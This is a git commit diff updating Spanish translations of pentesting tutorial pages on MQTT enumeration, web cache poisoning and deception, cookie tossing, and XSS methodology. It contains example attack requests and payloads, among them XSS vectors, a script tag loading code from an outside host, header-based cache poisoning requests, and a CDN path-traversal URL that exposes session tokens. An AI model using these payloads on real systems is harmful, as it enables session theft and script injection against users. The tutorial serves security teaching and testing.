Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui

This commit is contained in:
Translator 2025-03-24 11:33:47 +00:00
parent 7aaccc2199
commit dec87267bc
4 changed files with 109 additions and 97 deletions

View File

@ -4,7 +4,7 @@
## Información Básica
**MQ Telemetry Transport (MQTT)** es conocido como un **protocolo de mensajería de publicación/suscripción** que se destaca por su extrema simplicidad y ligereza. Este protocolo está específicamente diseñado para entornos donde los dispositivos tienen capacidades limitadas y operan sobre redes caracterizadas por un bajo ancho de banda, alta latencia o conexiones poco fiables. Los objetivos principales de MQTT incluyen minimizar el uso del ancho de banda de la red y reducir la demanda sobre los recursos del dispositivo. Además, busca mantener una comunicación fiable y proporcionar un cierto nivel de garantía de entrega. Estos objetivos hacen que MQTT sea excepcionalmente adecuado para el creciente campo de la **comunicación máquina a máquina (M2M)** y el **Internet de las Cosas (IoT)**, donde es esencial conectar de manera eficiente una multitud de dispositivos. Además, MQTT es muy beneficioso para aplicaciones móviles, donde conservar el ancho de banda y la vida de la batería es crucial.
**MQ Telemetry Transport (MQTT)** es conocido como un **protocolo de mensajería de publicación/suscripción** que se destaca por su extrema simplicidad y ligereza. Este protocolo está específicamente diseñado para entornos donde los dispositivos tienen capacidades limitadas y operan sobre redes caracterizadas por bajo ancho de banda, alta latencia o conexiones poco fiables. Los objetivos principales de MQTT incluyen minimizar el uso del ancho de banda de la red y reducir la demanda sobre los recursos del dispositivo. Además, busca mantener una comunicación fiable y proporcionar un cierto nivel de garantía de entrega. Estos objetivos hacen que MQTT sea excepcionalmente adecuado para el creciente campo de la **comunicación máquina a máquina (M2M)** y el **Internet de las Cosas (IoT)**, donde es esencial conectar de manera eficiente una multitud de dispositivos. Además, MQTT es muy beneficioso para aplicaciones móviles, donde conservar el ancho de banda y la vida de la batería es crucial.
**Puerto por defecto:** 1883
```
@ -36,8 +36,6 @@ Para conectarte a un servicio MQTT, puedes usar: [https://github.com/bapowell/py
> subscribe "#" 1
> subscribe "$SYS/#"
```
También puedes usar [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)
También puedes usar:
```bash
apt-get install mosquitto mosquitto-clients
@ -73,22 +71,18 @@ client.loop_start()
if __name__ == "__main__":
main()
```
## Más información
from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
### El patrón Publicar/Suscribirse <a href="#b667" id="b667"></a>
### El Patrón Publicar/Suscribirse <a href="#b667" id="b667"></a>
El modelo de publicar/suscribirse se compone de:
- **Publicador**: publica un mensaje en uno (o varios) tema(s) en el broker.
- **Suscriptor**: se suscribe a uno (o varios) tema(s) en el broker y recibe todos los mensajes enviados por el publicador.
- **Broker**: enruta todos los mensajes de los publicadores a los suscriptores.
- **Tema**: consiste en uno o más niveles que están separados por una barra diagonal (e.g., /smartshouse/livingroom/temperature).
- **Tema**: consiste en uno o más niveles que están separados por una barra diagonal (por ejemplo, /smartshouse/livingroom/temperature).
### Formato del Paquete <a href="#f15a" id="f15a"></a>
Cada paquete MQTT contiene un encabezado fijo (Figura 02).Figura 02: Encabezado Fijo
Cada paquete MQTT contiene un encabezado fijo (Figura 02). Figura 02: Encabezado Fijo
![https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png)
@ -96,9 +90,9 @@ Cada paquete MQTT contiene un encabezado fijo (Figura 02).Figura 02: Encabezado
- CONNECT (1): Iniciado por el cliente para solicitar una conexión al servidor.
- CONNACK (2): El reconocimiento del servidor de una conexión exitosa.
- PUBLISH (3): Usado para enviar un mensaje del cliente al servidor o viceversa.
- PUBLISH (3): Utilizado para enviar un mensaje del cliente al servidor o viceversa.
- PUBACK (4): Reconocimiento de un paquete PUBLISH.
- PUBREC (5): Parte de un protocolo de entrega de mensajes que asegura que el mensaje es recibido.
- PUBREC (5): Parte de un protocolo de entrega de mensajes que asegura que el mensaje sea recibido.
- PUBREL (6): Aseguramiento adicional en la entrega de mensajes, indicando una liberación de mensaje.
- PUBCOMP (7): Parte final del protocolo de entrega de mensajes, indicando finalización.
- SUBSCRIBE (8): Solicitud de un cliente para escuchar mensajes de un tema.

View File

@ -1,13 +1,13 @@
# Envenenamiento de Caché y Decepción de Caché
# Envenenamiento de Caché y Engaño de Caché
{{#include ../../banners/hacktricks-training.md}}
## La diferencia
> **¿Cuál es la diferencia entre el envenenamiento de caché web y la decepción de caché web?**
> **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
>
> - En **el envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
> - En **la decepción de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
> - En **el engaño de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
## Envenenamiento de Caché
@ -15,8 +15,8 @@ El envenenamiento de caché tiene como objetivo manipular la caché del lado del
La ejecución de un ataque de envenenamiento de caché implica varios pasos:
1. **Identificación de Entradas No Claveadas**: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché.
2. **Explotación de las Entradas No Claveadas**: Después de identificar las entradas no claveadas, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
1. **Identificación de Entradas Sin Clave**: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché.
2. **Explotación de las Entradas Sin Clave**: Después de identificar las entradas sin clave, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
3. **Asegurar que la Respuesta Envenenada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché está envenenada recibirá la respuesta contaminada.
### Descubrimiento: Verificar encabezados HTTP
@ -35,32 +35,32 @@ cache-poisoning-to-dos.md
Sin embargo, ten en cuenta que **a veces estos tipos de códigos de estado no se almacenan en caché**, por lo que esta prueba podría no ser confiable.
### Descubrimiento: Identificar y evaluar entradas no claveadas
### Descubrimiento: Identificar y evaluar entradas sin clave
Podrías usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **fuerza bruta de parámetros y encabezados** que pueden estar **cambiando la respuesta de la página**. Por ejemplo, una página puede estar utilizando el encabezado `X-Forwarded-For` para indicar al cliente que cargue el script desde allí:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Elicitar una respuesta dañina del servidor back-end
### Elicit a harmful response from the back-end server
Con el parámetro/cabecera identificada, verifica cómo está siendo **sanitizada** y **dónde** se está **reflejando** o afectando la respuesta de la cabecera. ¿Puedes abusar de ello de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)
Con el parámetro/cabecera identificado, verifica cómo está siendo **sanitizado** y **dónde** se está **reflejando** o afectando la respuesta de la cabecera. ¿Puedes abusar de ello de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)
### Obtener la respuesta en caché
### Get the response cached
Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**cabecera** usar y **cómo** abusar de ello, necesitas obtener la página en caché. Dependiendo del recurso que estés tratando de obtener en la caché, esto podría tomar algún tiempo, podrías necesitar intentarlo durante varios segundos.
Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**cabecera** usar y **cómo** abusar de ello, necesitas hacer que la página se almacene en caché. Dependiendo del recurso que estés tratando de almacenar en caché, esto podría tomar algún tiempo, podrías necesitar intentarlo durante varios segundos.
La cabecera **`X-Cache`** en la respuesta podría ser muy útil ya que puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está en caché.\
La cabecera **`Cache-Control`** también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché nuevamente: `Cache-Control: public, max-age=1800`
Otra cabecera interesante es **`Vary`**. Esta cabecera se usa a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico.
Otra cabecera interesante es **`Vary`**. Esta cabecera se utiliza a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico.
Una cabecera más relacionada con la caché es **`Age`**. Define el tiempo en segundos que el objeto ha estado en la caché del proxy.
Al almacenar en caché una solicitud, ten **cuidado con las cabeceras que usas** porque algunas de ellas podrían ser **usadas inesperadamente** como **indexadas** y la **víctima necesitará usar esa misma cabecera**. Siempre **prueba** un Cache Poisoning con **diferentes navegadores** para verificar si está funcionando.
## Ejemplos de Explotación
## Exploiting Examples
### Ejemplo más fácil
### Easiest example
Una cabecera como `X-Forwarded-For` se está reflejando en la respuesta sin sanitizar.\
Puedes enviar una carga útil básica de XSS y envenenar la caché para que todos los que accedan a la página sean XSSed:
@ -77,6 +77,14 @@ _Note que esto envenenará una solicitud a `/en?region=uk` no a `/en`_
cache-poisoning-to-dos.md
{{#endref}}
### Envenenamiento de caché a través de CDNs
En **[este informe](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** se explica el siguiente escenario simple:
- El CDN almacenará en caché cualquier cosa bajo `/share/`
- El CDN NO decodificará ni normalizará `%2F..%2F`, por lo tanto, se puede usar como **traversal de ruta para acceder a otras ubicaciones sensibles que serán almacenadas en caché** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- El servidor web SÍ decodificará y normalizará `%2F..%2F`, y responderá con `/api/auth/session`, que **contiene el token de autenticación**.
### Usando el envenenamiento de caché web para explotar vulnerabilidades en el manejo de cookies
Las cookies también podrían reflejarse en la respuesta de una página. Si puedes abusar de esto para causar un XSS, por ejemplo, podrías ser capaz de explotar XSS en varios clientes que cargan la respuesta de caché maliciosa.
@ -85,11 +93,11 @@ GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Note que si la cookie vulnerable es muy utilizada por los usuarios, las solicitudes regulares estarán limpiando la caché.
Tenga en cuenta que si la cookie vulnerable es muy utilizada por los usuarios, las solicitudes regulares estarán limpiando la caché.
### Generando discrepancias con delimitadores, normalización y puntos <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Ver:
Verifique:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
@ -107,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
### Usando múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
A veces necesitarás **explotar varias entradas no claveadas** para poder abusar de una caché. Por ejemplo, puedes encontrar un **redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde se apunta la página por el redireccionamiento.
A veces necesitarás **explotar varias entradas no claveadas** para poder abusar de una caché. Por ejemplo, puedes encontrar un **Redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar a dónde apunta la página por el redireccionamiento.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -116,7 +124,7 @@ X-Forwarded-Scheme: http
```
### Explotando con un encabezado `Vary` limitado
Si descubres que el **`X-Host`** se está utilizando como **nombre de dominio para cargar un recurso JS** pero el encabezado **`Vary`** en la respuesta indica **`User-Agent`**. Entonces, necesitas encontrar una manera de exfiltrar el User-Agent de la víctima y envenenar la caché utilizando ese user agent:
Si descubres que el encabezado **`X-Host`** se está utilizando como **nombre de dominio para cargar un recurso JS** pero el encabezado **`Vary`** en la respuesta indica **`User-Agent`**. Entonces, necesitas encontrar una manera de exfiltrar el User-Agent de la víctima y envenenar la caché utilizando ese user agent:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -138,15 +146,15 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
### Ocultación de Parámetros
Por ejemplo, es posible separar **parámetros** en servidores ruby usando el carácter **`;`** en lugar de **`&`**. Esto podría usarse para poner valores de parámetros sin clave dentro de los que tienen clave y abusar de ellos.
Por ejemplo, es posible separar **parámetros** en servidores ruby usando el carácter **`;`** en lugar de **`&`**. Esto podría usarse para poner valores de parámetros no clave dentro de parámetros clave y abusar de ellos.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Explotación de la Poisoning de Caché HTTP abusando del HTTP Request Smuggling
### Explotación de la Poisoning de Caché HTTP abusando de HTTP Request Smuggling
Aprende aquí cómo realizar [ataques de Cache Poisoning abusando del HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
Aprende aquí cómo realizar [ataques de Cache Poisoning abusando de HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Pruebas Automatizadas para Cache Poisoning
### Pruebas automatizadas para Cache Poisoning
El [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) se puede usar para probar automáticamente la poisoning de caché web. Soporta muchas técnicas diferentes y es altamente personalizable.
@ -172,11 +180,11 @@ En aplicaciones Ruby on Rails, a menudo se utiliza Rack middleware. El propósit
### 403 y Buckets de Almacenamiento
Cloudflare anteriormente almacenaba en caché respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con encabezados de autorización incorrectos resultaría en una respuesta 403 que se almacenaba en caché. Aunque Cloudflare ha dejado de almacenar en caché respuestas 403, este comportamiento podría seguir presente en otros servicios de proxy.
Cloudflare anteriormente almacenaba en caché respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con encabezados de autorización incorrectos resultaría en una respuesta 403 que se almacenaba en caché. Aunque Cloudflare ha dejado de almacenar en caché respuestas 403, este comportamiento podría seguir presente en otros servicios proxy.
### Inyección de Parámetros Clave
Las cachés a menudo incluyen parámetros GET específicos en la clave de caché. Por ejemplo, el Varnish de Fastly almacenaba en caché el parámetro `size` en las solicitudes. Sin embargo, si se enviaba una versión codificada en URL del parámetro (por ejemplo, `siz%65`) con un valor erróneo, la clave de caché se construiría usando el parámetro `size` correcto. Sin embargo, el backend procesaría el valor en el parámetro codificado en URL. Codificar en URL el segundo parámetro `size` llevó a su omisión por la caché, pero su utilización por el backend. Asignar un valor de 0 a este parámetro resultó en un error 400 Bad Request que se podía almacenar en caché.
Las cachés a menudo incluyen parámetros GET específicos en la clave de caché. Por ejemplo, el Varnish de Fastly almacenaba en caché el parámetro `size` en las solicitudes. Sin embargo, si se enviaba una versión codificada en URL del parámetro (por ejemplo, `siz%65`) con un valor erróneo, la clave de caché se construiría usando el parámetro `size` correcto. Sin embargo, el backend procesaría el valor en el parámetro codificado en URL. Codificar en URL el segundo parámetro `size` llevó a su omisión por parte de la caché, pero su utilización por parte del backend. Asignar un valor de 0 a este parámetro resultó en un error 400 Bad Request que se podía almacenar en caché.
### Reglas de User Agent
@ -184,7 +192,7 @@ Algunos desarrolladores bloquean solicitudes con user-agents que coinciden con l
### Campos de Encabezado Ilegales
El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de encabezados. Los encabezados que contienen caracteres fuera del rango **tchar** especificado deberían idealmente activar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres inválidos y almacena en caché cualquier error 400, siempre que el encabezado `cache-control` no esté presente. Se identificó un patrón explotable donde enviar un encabezado con un carácter ilegal, como `\`, resultaría en un error 400 Bad Request que se podía almacenar en caché.
El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de encabezados. Los encabezados que contienen caracteres fuera del rango **tchar** especificado deberían idealmente activar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres no válidos y almacena en caché cualquier error 400, siempre que el encabezado `cache-control` no esté presente. Se identificó un patrón explotable donde enviar un encabezado con un carácter ilegal, como `\`, resultaría en un error 400 Bad Request que se podía almacenar en caché.
### Encontrando nuevos encabezados
@ -192,9 +200,9 @@ El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los carac
## Decepción de Caché
El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que van a ser guardados por la caché con su información sensible**.
El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que se van a guardar en la caché con su información sensible**.
Primero que nada, ten en cuenta que **extensiones** como `.css`, `.js`, `.png`, etc. suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
Primero que nada, ten en cuenta que las **extensiones** como `.css`, `.js`, `.png`, etc. suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
Otras cosas para probar:
@ -206,12 +214,12 @@ Otras cosas para probar:
- _Usa extensiones menos conocidas como_ `.avif`
Otro ejemplo muy claro se puede encontrar en este informe: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
En el ejemplo, se explica que si cargas una página inexistente como _http://www.example.com/home.php/non-existent.css_, el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) se devolverá y el servidor de caché guardará el resultado.\
En el ejemplo, se explica que si cargas una página no existente como _http://www.example.com/home.php/non-existent.css_, el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) se devolverá y el servidor de caché guardará el resultado.\
Luego, el **atacante** puede acceder a _http://www.example.com/home.php/non-existent.css_ en su propio navegador y observar la **información confidencial** de los usuarios que accedieron antes.
Ten en cuenta que el **proxy de caché** debe estar **configurado** para **almacenar en caché** archivos **basados** en la **extensión** del archivo (_.css_) y no basarse en el content-type. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un content-type de `text/html` en lugar de un tipo MIME `text/css` (que es el esperado para un archivo _.css_).
Ten en cuenta que el **proxy de caché** debe estar **configurado** para **almacenar en caché** archivos **basados** en la **extensión** del archivo (_.css_) y no basarse en el tipo de contenido. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un tipo de contenido `text/html` en lugar de un tipo MIME `text/css` (que es el esperado para un archivo _.css_).
Aprende aquí cómo realizar [ataques de Decepción de Caché abusando del HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Aprende aquí cómo realizar [ataques de Decepción de Caché abusando de HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Herramientas Automáticas

View File

@ -13,19 +13,20 @@ Como se indicó en la sección de Hacking de Cookies, cuando una **cookie se est
Esto puede ser peligroso ya que el atacante podría:
- **Fijar la cookie de la víctima a la cuenta del atacante** para que si el usuario no se da cuenta, **realizará las acciones en la cuenta del atacante** y el atacante podría obtener información interesante (ver el historial de búsquedas del usuario en la plataforma, la víctima podría establecer su tarjeta de crédito en la cuenta...)
- Si la **cookie no cambia después del inicio de sesión**, el atacante podría simplemente **fijar una cookie (session-fixation)**, esperar a que la víctima inicie sesión y luego **usar esa cookie para iniciar sesión como la víctima**.
- **Fijar la cookie de la víctima a la cuenta del atacante** para que si el usuario no se da cuenta, **realice las acciones en la cuenta del atacante** y el atacante pueda obtener información interesante (ver el historial de búsquedas del usuario en la plataforma, la víctima puede configurar su tarjeta de crédito en la cuenta...)
- Un ejemplo de esto [se puede encontrar aquí](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) donde el atacante establece su cookie en secciones específicas que una víctima usará para autorizar **acceso a sus repositorios de git pero desde la cuenta del atacante** ya que estará configurando sus cookies en los endpoints necesarios.
- Si la **cookie no cambia después del inicio de sesión**, el atacante puede simplemente **fijar una cookie (session-fixation)**, esperar a que la víctima inicie sesión y luego **usar esa cookie para iniciar sesión como la víctima**.
- A veces, incluso si las cookies de sesión cambian, el atacante usa la anterior y también recibirá la nueva.
- Si la **cookie está estableciendo algún valor inicial** (como en flask donde la **cookie** puede **establecer** el **token CSRF** de la sesión y este valor se mantendrá después de que la víctima inicie sesión), el **atacante puede establecer este valor conocido y luego abusar de él** (en ese escenario, el atacante podría hacer que el usuario realice una solicitud CSRF ya que conoce el token CSRF).
- Si la **cookie está configurando algún valor inicial** (como en flask donde la **cookie** puede **configurar** el **token CSRF** de la sesión y este valor se mantendrá después de que la víctima inicie sesión), el **atacante puede establecer este valor conocido y luego abusar de él** (en ese escenario, el atacante puede hacer que el usuario realice una solicitud CSRF ya que conoce el token CSRF).
- Al igual que establecer el valor, el atacante también podría obtener una cookie no autenticada generada por el servidor, obtener el token CSRF de ella y usarlo.
### Orden de Cookies
Cuando un navegador recibe dos cookies con el mismo nombre **afectando parcialmente el mismo alcance** (dominio, subdominios y ruta), el **navegador enviará ambos valores de la cookie** cuando ambos sean válidos para la solicitud.
Dependiendo de quién tiene **la ruta más específica** o cuál es la **más antigua**, el navegador **establecerá primero el valor de la cookie** y luego el valor de la otra como en: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
Dependiendo de quién tenga **la ruta más específica** o cuál sea la **más antigua**, el navegador **establecerá primero el valor de la cookie** y luego el valor de la otra como en: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
La mayoría de **los sitios web solo usarán el primer valor**. Entonces, si un atacante quiere establecer una cookie, es mejor establecerla antes de que se establezca otra o establecerla con una ruta más específica.
La mayoría de **los sitios web solo usarán el primer valor**. Entonces, si un atacante quiere establecer una cookie, es mejor configurarla antes de que se establezca otra o configurarla con una ruta más específica.
> [!WARNING]
> Además, la capacidad de **establecer una cookie en una ruta más específica** es muy interesante ya que podrás hacer que la **víctima trabaje con su cookie excepto en la ruta específica donde la cookie maliciosa establecida será enviada primero**.
@ -34,7 +35,7 @@ La mayoría de **los sitios web solo usarán el primer valor**. Entonces, si un
Una posible protección contra este ataque sería que el **servidor web no acepte solicitudes con dos cookies con el mismo nombre pero dos valores diferentes**.
Para eludir el escenario donde el atacante está estableciendo una cookie después de que la víctima ya recibió la cookie, el atacante podría causar un **desbordamiento de cookies** y luego, una vez que la **cookie legítima sea eliminada, establecer la maliciosa**.
Para eludir el escenario donde el atacante está configurando una cookie después de que la víctima ya recibió la cookie, el atacante podría causar un **desbordamiento de cookies** y luego, una vez que la **cookie legítima sea eliminada, establecer la maliciosa**.
{{#ref}}
cookie-jar-overflow.md
@ -44,18 +45,18 @@ Otro **bypass** útil podría ser **codificar en URL el nombre de la cookie** ya
### Cookie Bomb
Un ataque de Cookie Tossing también puede ser utilizado para realizar un ataque de **Cookie Bomb**:
Un ataque de Cookie Tossing también puede ser utilizado para realizar un **Cookie Bomb** ataque:
{{#ref}}
cookie-bomb.md
{{#endref}}
### Defensas
### Defensa**s**
#### **Usar el prefijo `__Host` en el nombre de la cookie**
- Si un nombre de cookie tiene este prefijo, **solo será aceptado** en una directiva Set-Cookie si está marcado como Seguro, fue enviado desde un origen seguro, no incluye un atributo de Dominio y tiene el atributo Path establecido en /
- **Esto previene que los subdominios fuerzen una cookie al dominio principal ya que estas cookies pueden ser vistas como "bloqueadas por dominio"**
- Si un nombre de cookie tiene este prefijo, **solo será aceptado** en una directiva Set-Cookie si está marcado como Seguro, fue enviado desde un origen seguro, no incluye un atributo de Dominio y tiene el atributo de Ruta establecido en /
- **Esto previene que los subdominios fuerzan una cookie al dominio principal ya que estas cookies pueden ser vistas como "bloqueadas por dominio"**
### Referencias

View File

@ -2,8 +2,8 @@
## Metodología
1. Verifica si **cualquier valor que controlas** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **utilizado** por código **JS**.
2. **Encuentra el contexto** donde se refleja/utiliza.
1. Verifica si **cualquier valor que controlas** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **usado** por código **JS**.
2. **Encuentra el contexto** donde se refleja/se usa.
3. Si está **reflejado**
1. Verifica **qué símbolos puedes usar** y dependiendo de eso, prepara la carga útil:
1. En **HTML crudo**:
@ -13,7 +13,7 @@
4. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...), podrías abusar de una [**Inyección de Plantilla del Lado del Cliente**](../client-side-template-injection-csti.md).
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Colgante - HTML sin script**](../dangling-markup-html-scriptless-injection/index.html)?
2. Dentro de una **etiqueta HTML**:
1. ¿Puedes salir al contexto de HTML crudo?
1. ¿Puedes salir al contexto HTML crudo?
2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
3. ¿El atributo donde estás atrapado soporta la ejecución de JS?
4. ¿Puedes eludir protecciones?
@ -23,9 +23,9 @@
3. ¿Tu entrada está en literales de plantilla \`\`?
4. ¿Puedes eludir protecciones?
4. Función de Javascript **siendo ejecutada**
1. Puedes indicar el nombre de la función a ejecutar. p.ej.: `?callback=alert(1)`
4. Si está **utilizado**:
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es utilizada por algún sink.**
1. Puedes indicar el nombre de la función a ejecutar. ej.: `?callback=alert(1)`
4. Si está **usado**:
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es usada por algún sink.**
Cuando trabajes en un XSS complejo, podría ser interesante saber sobre:
@ -48,7 +48,7 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está
### HTML crudo
Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
Además, ten en cuenta la [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
Además, ten en cuenta [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
### Dentro del atributo de etiquetas HTML
@ -162,7 +162,7 @@ alert(1)
<svg onload=alert('XSS')>
```
Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar por fuerza bruta qué etiquetas** puedes crear.\
Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarás **forzar por fuerza bruta atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarías **forzar por fuerza bruta atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
### Fuerza bruta de etiquetas/eventos
@ -233,7 +233,7 @@ onerror=alert`1`
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
```
Los últimos utilizan 2 caracteres unicode que se expanden a 5: telsr\
The last one is using 2 unicode characters which expands to 5: telsr\
Más de estos caracteres se pueden encontrar [aquí](https://www.unicode.org/charts/normalization/).\
Para verificar en qué caracteres se descomponen, consulta [aquí](https://www.compart.com/en/unicode/U+2121).
@ -241,13 +241,13 @@ Para verificar en qué caracteres se descomponen, consulta [aquí](https://www.c
Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o un formulario** con datos prepopulados, podrías intentar [**abusar del Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
### Imposible - Marcado Colgante
### Impossible - Dangling Markup
Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Marcado Colgante**](../dangling-markup-html-scriptless-injection/index.html) porque podrías **explotar** la vulnerabilidad **sin** ejecutar **código JS**.
